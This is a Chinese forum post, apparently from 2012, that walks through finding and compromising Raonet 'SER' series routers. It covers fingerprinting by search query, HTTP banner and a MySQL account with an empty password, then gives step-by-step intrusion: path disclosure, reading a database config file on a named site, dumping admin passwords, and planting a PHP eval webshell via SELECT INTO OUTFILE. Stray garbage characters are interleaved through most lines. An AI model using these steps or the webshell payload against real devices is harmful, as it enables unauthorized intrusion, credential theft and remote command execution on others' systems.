寻找存在漏洞的路由器方法：, g Y" h/ p( H3 J- r
& x* L* @5 E5 Z5 Q: \
1：google搜索'Raonet Subscriber Ethernet Router'; B- w( L5 ?# Y3 N/ d
) R4 y* ~- v' O0 N7 G
2：使用WebDAVScan扫80端口，http banner为thttpd/2.21b 23apr2001" Z1 U: Z4 e$ _1 L% Z; N: \
8 x* u& f3 H! d! k- t1 X7 y: V3：扫mysql版本号判断,SER系列路由器使用的mysql版本4.0.14，默认有一个高权限的帐户mysql，口令为空。4 s% |) }) K1 o- {
# H( ~$ \4 B* P8 N6 \//还有很多方法可以批量获取,这里不发了,请自食其力 公开了大家都玩不成......
# W- @2 P# z3 V3 j5 ^) o& _& y( V- q7 s5 y. e0 p- h2 j
" F+ N$ w7 r; \& z0 D
# N4 h9 V+ x5 A* D% k) `
入侵步骤：! c: m' ~, I) `# c+ @/ N
; Z# R5 \; X5 f( }5 g% S
1.爆web路径，http://www.yu1u.org/src/jpgraph_line.php
1 M- B3 J3 K3 Y% t# h
" @9 o2 f$ r1 ~0 _) ~' O# D, h7 o2:查看数据库配置文件，http://www.yu1u.org/inc/conn_db.inc
9 g$ k& ]+ Q* J9 f, |6 w4 Z3：得到密码后连接，查看GUI管理密码：
8 r) J( b& ^- W; P3 [3 Zuse ser_5007 L1 \4 \$ X6 [, P
select id,passwd from user;
0 i. o. P8 {- A) L4:通过数据库写入webshell，执行命令：9 X( Y5 U, b5 P, B& @& L4 r
use mysql;
& i5 A5 T7 p' h- \create table ok(cmd TEXT);$ V$ p2 o! L5 Z: q4 E8 ~
insert into ok values("<?php @eval($_POST[cmd])?>");: v1 u1 u; i8 i- k$ p
select * from ok into outfile "\/usr\/local\/www\/data\/src\/shell.php";6 k& b; c4 \' T' k( X6 D7 I
drop table ok;6 f- e6 F& ^2 d6 H4 o
6 _' G0 ?$ r! l0 l9 K6 @7 Y
5:连接后门shell.php
) Y" o' l2 ?$ ]! O" P9 a2 H
9 B& x- ~, n$ p7 h8 s$ k6. 搞定！3 p4 K3 x* R6 D" Z4 k
# b* |, F( n0 A3 x1 I |
发表于 2012-12-10 10:30:18
收藏
支持
反对
发表于 2013-7-27 20:06:50